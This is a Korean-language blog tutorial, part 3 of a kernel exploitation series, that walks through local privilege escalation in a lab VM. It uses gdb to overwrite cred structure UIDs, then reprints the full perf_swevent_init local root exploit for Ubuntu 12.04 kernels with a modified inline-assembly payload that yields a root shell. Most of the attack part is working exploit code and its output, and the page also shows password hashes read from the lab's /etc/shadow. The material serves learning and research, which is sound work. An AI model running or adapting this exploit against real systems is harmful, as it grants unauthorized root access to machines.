Home Linux Kernel Exploit Development (Part 3/10)
Post
Cancel

Linux Kernel Exploit Development (Part 3/10)

Linux Kernel Exploit Development with VMware - Lab3::Privilege Escalation


목차

  1. 목차
  2. Privilege Escalation
  3. do: LPE()
  4. do: LPE() - automated
  5. References

Privilege Escalation

커널 권한 상승은 보통 두가지 방법을 통해 익스플로잇하게 된다.

  1. prepare_kernel_cred()commit_creds() 함수의 고정 주소를 사용하는 방법. (1) 동일한 버전의 Kernel을 설치하여, root 계정을 가지고 직접 주소를 따는 방법과 (2) /proc/kallsyms 등의 파일의 잘못된 권한 관리로 인한 leak. 이 방법들은 주소 PoC 코드 작성용으로만 사용되며, 최근 커널에서는 kptr_restrict, KASLR 등의 mitigation들 때문에 따로 leak 취약점을 이용해야 할 수 있다.
  2. 커널 스택 하위에 존재하는 thread_info 구조체 내의 task_struct 구조체 내에는 cred 구조체를 가르키는 포인터 변수가 존재하는데, 해당 구조체가 uid euid suid 등의 값을 저장하고 있다. 이를 0으로 덮어 process 권한을 root 권한으로 상승시킬 수 있다. 이 방법은 좀 더 다양한 커널 버전에서 유효하다.

lab3_img

do: LPE()

간단한 바이너리의 getuid()함수 호출시 발생하는 sys_getuid() 함수를 디버깅하여 위에서 설명한 권한 상승 방법 중, 2번째 방법을 통해 Local Privilege Escalation을 일으켜보자.

디버깅 할 바이너리의 코드는 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main() {

	uid_t uid;

	uid = getuid();

	printf("my uid = %d\n", uid);

	if (uid == 0)
		system("cat /etc/shadow");

	return 0;
}

compile & run

1
2
3
4
5
6
test@ubuntu:~/exercises/cred_struct$ gcc -o whatsmyuid whatsmyuid.c
test@ubuntu:~/exercises/cred_struct$ ls
whatsmyuid  whatsmyuid.c
test@ubuntu:~/exercises/cred_struct$ ./whatsmyuid
my uid = 1001
test@ubuntu:~/exercises/cred_struct$

MasterVM에서 해당 바이너리 실행시 getuid() 내에서 호출되는 sys_getuid() 함수에 BreakPoint를 잡는다.

MasterVM

1
2
3
4
5
6
7
8
9
10
11
12
root@master:~# gdb -q kernels/vmlinux-3.5.0-23-generic
Reading symbols from kernels/vmlinux-3.5.0-23-generic...done.
(gdb) target remote 192.168.94.1:8864
Remote debugging using 192.168.94.1:8864
native_safe_halt ()
    at /build/buildd/linux-lts-quantal-3.5.0/arch/x86/include/asm/irqflags.h:50
warning: Source file is more recent than executable.
50	}
(gdb) b * sys_getuid
Breakpoint 1 at 0xffffffff81065650: file /build/buildd/linux-lts-quantal-3.5.0/kernel/timer.c, line 1438.
(gdb) c
Continuing.

TestVM

1
test@ubuntu:~/exercises/cred_struct$ ./whatsmyuid

MasterVM

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Breakpoint 4, sys_getuid ()
    at /build/buildd/linux-lts-quantal-3.5.0/kernel/timer.c:1438
1438	{
(gdb)
(gdb) disassemble sys_getuid
Dump of assembler code for function sys_getuid:
=> 0xffffffff81065650 <+0>:	push   rbp
   0xffffffff81065651 <+1>:	mov    rbp,rsp
   0xffffffff81065654 <+4>:	nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffff81065659 <+9>:	mov    rax,QWORD PTR gs:0xc700
   0xffffffff81065662 <+18>:	mov    rax,QWORD PTR [rax+0x458]
   0xffffffff81065669 <+25>:	pop    rbp
   0xffffffff8106566a <+26>:	mov    eax,DWORD PTR [rax+0x4]
   0xffffffff8106566d <+29>:	cmp    eax,0xffffffff
   0xffffffff81065670 <+32>:	cmove  eax,DWORD PTR [rip+0xbc5259]   # 0xffffffff81c2a8d0 <overflowuid>
   0xffffffff81065677 <+39>:	mov    eax,eax
   0xffffffff81065679 <+41>:	ret
End of assembler dump.
(gdb)

함수 디스어셈블을 확인해보면, 일단 +9 위치에서 task_struct의 주소를 받아오고, +18에서 real_cred 주소를 가져오고, +26에서 uid를 가져오는 것으로 보인다.

한번 하나씩 하나씩 주소를 확인해보자. 우선, +9 위치까지 실행을 시킨다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
(gdb) i r
rax            0x66	102
rbx            0x0	0
rcx            0x7fffe61049e0	140737053215200
rdx            0x7fffe6104d58	140737053216088
rsi            0x7fffe6104d48	140737053216072
rdi            0x1	1
rbp            0xffff8800780c5f78	0xffff8800780c5f78
rsp            0xffff8800780c5f78	0xffff8800780c5f78
r8             0x400670	4195952
r9             0x7fe57d3ce740	140623625381696
r10            0x7fffe61049e0	140737053215200
r11            0x206	518
r12            0x4004b0	4195504
r13            0x7fffe6104d40	140737053216064
r14            0x0	0
r15            0x0	0
rip            0xffffffff81065659	0xffffffff81065659 <sys_getuid+9>
eflags         0x297	[ CF PF AF SF IF ]
cs             0x10	16
ss             0x18	24
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0
(gdb) disassemble sys_getuid
Dump of assembler code for function sys_getuid:
   0xffffffff81065650 <+0>:	push   rbp
   0xffffffff81065651 <+1>:	mov    rbp,rsp
   0xffffffff81065654 <+4>:	nop    DWORD PTR [rax+rax*1+0x0]
=> 0xffffffff81065659 <+9>:	mov    rax,QWORD PTR gs:0xc700
   0xffffffff81065662 <+18>:	mov    rax,QWORD PTR [rax+0x458]
   0xffffffff81065669 <+25>:	pop    rbp
   0xffffffff8106566a <+26>:	mov    eax,DWORD PTR [rax+0x4]
   0xffffffff8106566d <+29>:	cmp    eax,0xffffffff
   0xffffffff81065670 <+32>:	cmove  eax,DWORD PTR [rip+0xbc5259]   # 0xffffffff81c2a8d0 <overflowuid>
   0xffffffff81065677 <+39>:	mov    eax,eax
   0xffffffff81065679 <+41>:	ret
End of assembler dump.
(gdb)

이제 mov rax,QWORD PTR gs:0xc700명령을 통해 gs:0xc700 위치에 존재하는 thread_info 구조체의 첫번째 필드인 task_struct의 값을 가져올 것이다.

1
2
3
4
5
6
7
(gdb) ni
sys_getuid ()
    at /build/buildd/linux-lts-quantal-3.5.0/kernel/timer.c:1440
1440		return from_kuid_munged(current_user_ns(), current_uid());
(gdb) i r rax
rax            0xffff880076ccdc00	-131939402195968
(gdb)

메모리 영역을 task_struct 구조체 프레임을 씌워서 확인해보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) p (struct task_struct *) 0xffff880076ccdc00
$11 = (struct task_struct *) 0xffff880076ccdc00
(gdb) p *$11
$12 = {state = 0, stack = 0xffff8800780c4000, usage = {counter = 2},
  flags = 4202496, ptrace = 0, wake_entry = {
    next = 0x0 <irq_stack_union>}, on_cpu = 1, on_rq = 1, prio = 120,
  ...
  ...
      prev = 0xffff880076cce020}, {next = 0xffff880076cce030,
      prev = 0xffff880076cce030}, {next = 0xffff880076cce040,
      prev = 0xffff880076cce040}}, real_cred = 0xffff88007776e480,
  cred = 0xffff88007776e480, comm = "whatsmyuid\000\000\000\000\000",
  link_count = 0, total_link_count = 1, sysvsem = {
    undo_list = 0x0 <irq_stack_union>}, last_switch_count = 0,
    ...
    ...
(gdb)

출력된 구조체 내부 필드 중, real_cred의 값이 0xffff88007776e480으로 출력되는 것을 확인할 수 있다.

이제 +26 명령이 실행되면 real_cred + 4의 결과값인 0xffff88007776e484 주소에서 uid를 꺼내올 것이다. gdb에서 확인해보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(gdb) p *$11.real_cred
$16 = {usage = {counter = 4}, uid = 1001, gid = 1001, suid = 1001,
  sgid = 1001, euid = 1001, egid = 1001, fsuid = 1001, fsgid = 1001,
  securebits = 0, cap_inheritable = {cap = {0, 0}}, cap_permitted = {
    cap = {0, 0}}, cap_effective = {cap = {0, 0}}, cap_bset = {cap = {
      4294967295, 4294967295}}, jit_keyring = 0 '\000',
  thread_keyring = 0x0 <irq_stack_union>,
  request_key_auth = 0x0 <irq_stack_union>,
  tgcred = 0xffff880036d170c0, security = 0xffff88007a5a72e0,
  user = 0xffff880079756e00,
  user_ns = 0xffffffff81c25700 <init_user_ns>,
  group_info = 0xffff880036c17800, rcu = {
    next = 0x0 <irq_stack_union>, func = 0x0 <irq_stack_union>}}

이제 0xffff88007776e484 주소의 값을 0으로 수정하여 uid 값이 0으로 반환되게 만든다.

1
2
3
4
5
(gdb) set *0xffff88007776e484=0
(gdb) x/wd 0xffff88007776e484
0xffff88007776e484:	0
(gdb) c
Continuing.

TestVM

1
2
3
4
test@ubuntu:~/exercises/cred_struct$ ./whatsmyuid
my uid = 0
cat: /etc/shadow: Permission denied
test@ubuntu:~/exercises/cred_struct$

uid값만 수정했기 때문에 uid는 0으로 반환되었지만 /etc/shadow 파일의 읽기 권한 검사는 패스하지 못한 듯 하다.

이번에는 uid gid euid egid0으로 설정해본다.

MasterVM

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(gdb) set $16.uid=0
(gdb) set $16.gid=0
(gdb) set $16.euid=0
(gdb) set $16.egid=0
(gdb) p *$11.real_cred
$21 = {usage = {counter = 4}, uid = 0, gid = 0, suid = 1001,
  sgid = 1001, euid = 0, egid = 0, fsuid = 1001, fsgid = 1001,
  securebits = 0, cap_inheritable = {cap = {0, 0}}, cap_permitted = {
    cap = {0, 0}}, cap_effective = {cap = {0, 0}}, cap_bset = {cap = {
      4294967295, 4294967295}}, jit_keyring = 0 '\000',
  thread_keyring = 0x0 <irq_stack_union>,
  request_key_auth = 0x0 <irq_stack_union>,
  tgcred = 0xffff880036d170c0, security = 0xffff88007a5a72e0,
  user = 0xffff880079756e00,
  user_ns = 0xffffffff81c25700 <init_user_ns>,
  group_info = 0xffff880036c17800, rcu = {
    next = 0x0 <irq_stack_union>, func = 0x0 <irq_stack_union>}}
(gdb) c
Continuing.

TestVM

1
2
3
4
5
6
7
8
9
10
11
test@ubuntu:~/exercises/cred_struct$ ./whatsmyuid
my uid = 0
root:$6$vUTGm6Ck$QJ6nTYRANRkFUTdo7dnXA7TmtU9ZUfQxRveJrinXs2Q44ydPueK6Zt2HWkv9yJtXRAHhI0YyNlq1pbf4EYmsj.:17010:0:99999:7:::
daemon:*:16599:0:99999:7:::
bin:*:16599:0:99999:7:::
sys:*:16599:0:99999:7:::
sync:*:16599:0:99999:7:::
...
...
test:$6$N9QrgFig$tjZaKZAWe3hBZOU9YItr1.geZmoCDR.QAWS61UfVa94.YWhyFnCfgnC.t2WflHsDtRTH1Js51HG6TgqAJGuqE0:17034:0:99999:7:::
test@ubuntu:~/exercises/cred_struct$

권한 상승을 통한 /etc/shadow 파일 읽기에 성공하였다.

do: LPE() - automated

TestVM/home/test/exercises/perf 위치에 perf_swevent_init 함수의 취약점을 이용한 Ubuntu 12.04 LPE Exploit PoC가 존재한다.

190926 추가 이 링크에 해당 취약점의 자세한 분석이 존재한다. 참고하면 좋을듯!

1
2
3
test@ubuntu:~/exercises/perf$ ls
vnik_v1  vnik_v1.c
test@ubuntu:~/exercises/perf$

vnik_v1.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
/**
 * Ubuntu 12.04 3.x x86_64 perf_swevent_init Local root exploit
 * by Vitaly Nikolenko ([email protected])
 *
 * based on semtex.c by sd
 *
 * Supported targets:
 * [0] Ubuntu 12.04.0 - 3.2.0-23-generic
 * [1] Ubuntu 12.04.1 - 3.2.0-29-generic
 * [2] Ubuntu 12.04.2 - 3.5.0-23-generic
 *
 * $ gcc vnik.c -O2 -o vnik
 *
 * $ uname -r
 * 3.2.0-23-generic
 *
 * $ ./vnik 0
 */

#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>

#define BASE  0x1780000000
#define SIZE  0x0010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))

typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);

uint64_t targets[3][3] =
            {
	     {0xffffffff81ef67e0,  // perf_swevent_enabled
              0xffffffff81091630,  // commit_creds
              0xffffffff810918e0}, // prepare_kernel_cred
             {0xffffffff81ef67a0,
              0xffffffff81091220,
              0xffffffff810914d0},
             {0xffffffff81ef5940,
              0xffffffff8107ee30,
              0xffffffff8107f0c0}
	    };

void __attribute__((regparm(3))) payload() {
	uint32_t *fixptr = (void*)AB(1);
	// restore the handler
	*fixptr = -1;
	commit_creds_fn commit_creds = (commit_creds_fn)AB(2);
	prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)AB(3);
	commit_creds(prepare_kernel_cred((uint64_t)NULL));
}

void trigger(uint32_t off) {
	uint64_t buf[10] = { 0x4800000001, off, 0, 0, 0, 0x300 };
	int fd = syscall(298, buf, 0, -1, -1, 0);
	assert( !close(fd) );
}

int main(int argc, char **argv) {
	uint64_t off64, needle, kbase, *p;
	uint8_t *code;
	uint32_t int_n, j = 5, target = 1337;
	int offset = 0;
	void *map;

	assert(argc == 2 && "target?");
	assert( (target = atoi(argv[1])) < 3 );

	struct {
		uint16_t limit;
		uint64_t addr;
	} __attribute__((packed)) idt;

	// mmap user-space block so we don't page fault
	// on sw_perf_event_destroy
	assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
	memset(map, 0, SIZE);

	asm volatile("sidt %0" : "=m" (idt));
	kbase = idt.addr & 0xff000000;
	printf("IDT addr = 0x%lx\n", idt.addr);

	assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
	memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &payload, 1024);
	memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);

	// can only play with interrupts 3, 4 and 0x80
	for (int_n = 3; int_n <= 0x80; int_n++) {
		for (off64 = 0x00000000ffffffff; (int)off64 < 0; off64--) {
			int off32 = off64;

			if ((targets[target][0] + ((uint64_t)off32)*24) == (idt.addr + int_n*16 + 8)) {
				offset = off32;
				goto out;
			}
		}
		if (int_n == 4) {
			// shit, let's try 0x80 if the kernel is compiled with
			// CONFIG_IA32_EMULATION
			int_n = 0x80 - 1;
		}
	}
out:
	assert(offset);
	printf("Using int = %d with offset = %d\n", int_n, offset);

	for (j = 0; j < 3; j++) {
		needle = AB(j+1);
		assert(p = memmem(code, 1024, &needle, 8));
		*p = !j ? (idt.addr + int_n * 16 + 8) : targets[target][j];
	}
	trigger(offset);
	switch (int_n) {
	case 3:
		asm volatile("int $0x03");
		break;
	case 4:
		asm volatile("int $0x04");
		break;
	case 0x80:
		asm volatile("int $0x80");
	}

	assert(!setuid(0));
	return execl("/bin/bash", "-sh", NULL);
}

이번에는 payload함수의 perf_swevent_init, commit_creds, prepare_kernel_cred의 심볼 주소를 가져오는 부분을 자동화 해보도록 하자.

원래 PoC에서는 심볼 주소를 두곳에서 설정한다.

  1. payload()
    1
    2
    3
    4
    5
    6
    7
    8
    
     void __attribute__((regparm(3))) payload() {
         uint32_t *fixptr = (void*)AB(1);
         // restore the handler
         *fixptr = -1;
         commit_creds_fn commit_creds = (commit_creds_fn)AB(2);
         prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)AB(3);
         commit_creds(prepare_kernel_cred((uint64_t)NULL));
     }
    

    이 함수에서 fixptr이라는 변수명으로 perf_swevent_enabled 주소를 가져오고, 해당 값을 -1로 설정한다. 이후 commit_credsprepare_kernel_cred 주소를 가져와 권한 상승 과정의 핵심인 commit_creds(prepare_kernel_cred(0));를 실행하게 된다.

    이 부분에서 AB(x) 매크로 호출을 통해, 실제 가젯이 들어가야 할 부분을 특수한 더미 값으로 채우는데, 디버깅 할때 메모리 서치를 편하게 하기 위해서인지, 아니면 -O2 옵션을 통해 컴파일 최적화를 할 때 가젯을 불러오는 부분에 최적화가 수행되어 원하지 않는 동작을 유발하는건지 모르겠지만, 특수한 더미 값이 실제 가젯이 존재해야 할 위치에 쓰이게 된다.

  2. main()
    1
    2
    3
    4
    5
    
     for (j = 0; j < 3; j++) {
         needle = AB(j+1);
         assert(p = memmem(code, 1024, &needle, 8));
         *p = !j ? (idt.addr + int_n * 16 + 8) : targets[target][j];
     }
    

    (1) 에서 AB(x) 매크로를 통해 설정한 더미 값을 실제 가젯으로 바꿔주는 부분이다.

가젯을 설정해주는 부분까지 확인했으니, 가젯 주소 설정을 자동화 해보자. 이번에는 do: LPE() 에서 했던 방식과는 조금 다르게, rsp 레지스터가 가지고 있는 Stack 주소를 활용하여 Privilege Escalation 의 그림에 설명되어 있던 (r|e)sp & ~(THREAD_SIZE-1) 연산을 통해 thread_info 구조체의 주소를 가져온 후, task_struct, real_cred 순으로 가져와 real_cred 구조체 내의 uid euid 값을 변경해 줄 것이다.

gdb를 통해 위 과정을 한번 진행해보고, 인라인 어셈블리를 PoC 코드에 넣어 uid euid 값을 0으로 설정하도록 자동화하자.

일단 MasterVM에서 gdb를 켠 후, TestVM에 attach한다. PoC 코드의 trigger 함수에서 298번 syscall을 통해 취약점을 트리거링하므로 sys_perf_event_open 함수1에 bp를 건다.

1
2
3
4
5
6
7
8
9
10
11
12
root@master:~# gdb kernels/vmlinux-3.5.0-23-generic -q
Reading symbols from kernels/vmlinux-3.5.0-23-generic...done.
(gdb) target remote 192.168.94.1:8864
Remote debugging using 192.168.94.1:8864
native_safe_halt ()
    at /build/buildd/linux-lts-quantal-3.5.0/arch/x86/include/asm/irqflags.h:50
warning: Source file is more recent than executable.
50	}
(gdb) b * sys_perf_event_open
Breakpoint 1 at 0xffffffff811209d0: file /build/buildd/linux-lts-quantal-3.5.0/kernel/events/core.c, line 6198.
(gdb) c
Continuing.

이제 TestVM에서 vnik 바이너리를 실행하여 trigger()가 호출하는 sys_perf_event_open()에서 bp가 걸리는지 확인한다.

TestVM

1
2
3
4
test@ubuntu:~/exercises/perf$ ls
vnik  vnik_v1.c
test@ubuntu:~/exercises/perf$ ./vnik 2
IDT addr = 0xffffffff81dd6000

MasterVM

1
2
3
4
5
6
7
8
9
(gdb) c
Continuing.

Breakpoint 1, sys_perf_event_open (attr_uptr=0x7fff1febfbd0, pid=0,
    cpu=-1, group_fd=-1, flags=0)
    at /build/buildd/linux-lts-quantal-3.5.0/kernel/events/core.c:6198
warning: Source file is more recent than executable.
6198	{
(gdb)

bp가 정상적으로 걸렸으므로, i r rsp 명령을 통해 rsp 레지스터 값을 확인한다.

1
2
3
(gdb) i r rsp
rsp            0xffff88007814bf80	0xffff88007814bf80
(gdb)

thread_info의 주소는 (r|e)sp & ~(THREAD_SIZE-1)이고, x64에서 THREAD_SIZE는 8K이므로 간단한 계산을 해보자.

1024(0x400) * 8 => 0x2000

0x2000 - 1 => 0x1FFF

~ 0x1FFF => 0xFFFFFFFFFFFFE000

0xffff88007814bf80 & 0xFFFFFFFFFFFFE000 => &thread_info

계산 결과 0xffff88007814a000이라는 주소값이 나왔다. gdb를 통해 thread_info의 주소가 맞는지 확인해보자.

thread_info

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) p (struct thread_info *)0xffff88007814a000
$1 = (struct thread_info *) 0xffff88007814a000
(gdb) p *$1
$2 = {task = 0xffff88007924dc00,
  exec_domain = 0xffffffff81c1f2e0 <default_exec_domain>, flags = 0,
  status = 0, cpu = 0, preempt_count = 0, addr_limit = {
    seg = 140737488351232}, restart_block = {
    fn = 0xffffffff81069a40 <do_no_restart_syscall>, {futex = {
        uaddr = 0x0 <irq_stack_union>, val = 0, flags = 0,
        bitset = 0, time = 0, uaddr2 = 0x0 <irq_stack_union>},
      nanosleep = {clockid = 0, rmtp = 0x0 <irq_stack_union>,
        compat_rmtp = 0x0 <irq_stack_union>, expires = 0}, poll = {
        ufds = 0x0 <irq_stack_union>, nfds = 0, has_timeout = 0,
        tv_sec = 0, tv_nsec = 0}}},
  sysenter_return = 0x0 <irq_stack_union>, sig_on_uaccess_error = 0,
  uaccess_err = 0}
(gdb)

이 출력만 봐서는 thread_info 구조체가 맞는지 정확하게 체크하기 힘드니 task_struct 구조체와 real_cred도 같은 방법으로 확인해보자.

task_struct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(gdb) p *$1.task
$3 = {state = 0, stack = 0xffff88007814a000, usage = {counter = 2},
  flags = 4202496, ptrace = 0, wake_entry = {
    next = 0x0 <irq_stack_union>}, on_cpu = 1, on_rq = 1, prio = 120,
...
...
  real_cred = 0xffff880076116840,
  cred = 0xffff880076116840,
  comm = "vnik", '\000' <repeats 11 times>, link_count = 0,
...
...
  ptrace_bp_refcnt = {counter = 1}, utask = 0x0 <irq_stack_union>,
  uprobe_srcu_id = -1}
(gdb)

real_cred

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(gdb) p *$1.task.real_cred
$4 = {usage = {counter = 3}, uid = 1001, gid = 1001, suid = 1001,
  sgid = 1001, euid = 1001, egid = 1001, fsuid = 1001, fsgid = 1001,
  securebits = 0, cap_inheritable = {cap = {0, 0}}, cap_permitted = {
    cap = {0, 0}}, cap_effective = {cap = {0, 0}}, cap_bset = {cap = {
      4294967295, 4294967295}}, jit_keyring = 0 '\000',
  thread_keyring = 0x0 <irq_stack_union>,
  request_key_auth = 0x0 <irq_stack_union>,
  tgcred = 0xffff8800795d5300, security = 0xffff88007a05fb60,
  user = 0xffff88003647bf80,
  user_ns = 0xffffffff81c25700 <init_user_ns>,
  group_info = 0xffff88007618fa40, rcu = {
    next = 0x0 <irq_stack_union>, func = 0x0 <irq_stack_union>}}
(gdb)

real_creduideuid1001로 정확하게 들어가 있는 것을 확인할 수 있다. 이제 real_cred 구조체의 주소를 자동으로 구해야 한다. 나는 아래와 같이 인라인 어셈블리를 사용하여 수정해서 자동화에 성공했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __attribute__((regparm(3))) payload() {
        asm(
                "pushq %rax;"                                   /* save Registers */
                "pushq %rcx;"
                "movq $0xffffffffffffffff, 0xffffffff81ef5940;" /* set perf_swevent_enabled = -1 */
                "movq %rsp, %rax;"                              /* get SP */
                "movq $0xFFFFFFFFFFFFE000, %rcx;"               /* calc THREAD_SIZE */
                "andq %rcx, %rax;"                              /* calc thread_info */
                "movq (%rax), %rcx;"                            /* get task_struct */
                "movq 0x458(%rcx), %rax;"                       /* get real_cred */
                "movl $0, 0x04(%rax);"                          /* set  uid */
                "movl $0, 0x14(%rax);"                          /* set euid */
                "popq %rcx;"                                    /* restore Registers */
                "popq %rax;"
        );
}

for문 블럭 안의 내용 dead code화 (j < 0)

1
2
3
4
5
6
7
for (j = 0; j < 0; j++) {
	needle = AB(j+1);
	printf("j:      %x\n", j);
	printf("needle: %lx\n", needle);
	assert(p = memmem(code, 1024, &needle, 8));
	*p = !j ? (idt.addr + int_n * 16 + 8) : targets[target][j];
}

result

1
2
3
4
test@ubuntu:~/exercises/perf$ ./vnik 2
IDT addr = 0xffffffff81dd6000
Using int = 4 with offset = -49077
root@ununtu:~/exercises/perf#

난이도가 갑자기 상승했고, PoC도 실행이 됬다 안됬다 해서 내잘못인지, PoC잘못인지 헷갈려 하다가 시간이 훅훅 지나가버렸다. 빠르게 다음 Lab으로 이동하자!


References

[thread_info를 통한 커널 익스 문제] https://blackperl-security.gitlab.io/blog/2018/08/20/2018-08-20-sendpage_02_analysis/

This post is licensed under CC BY 4.0 by the author.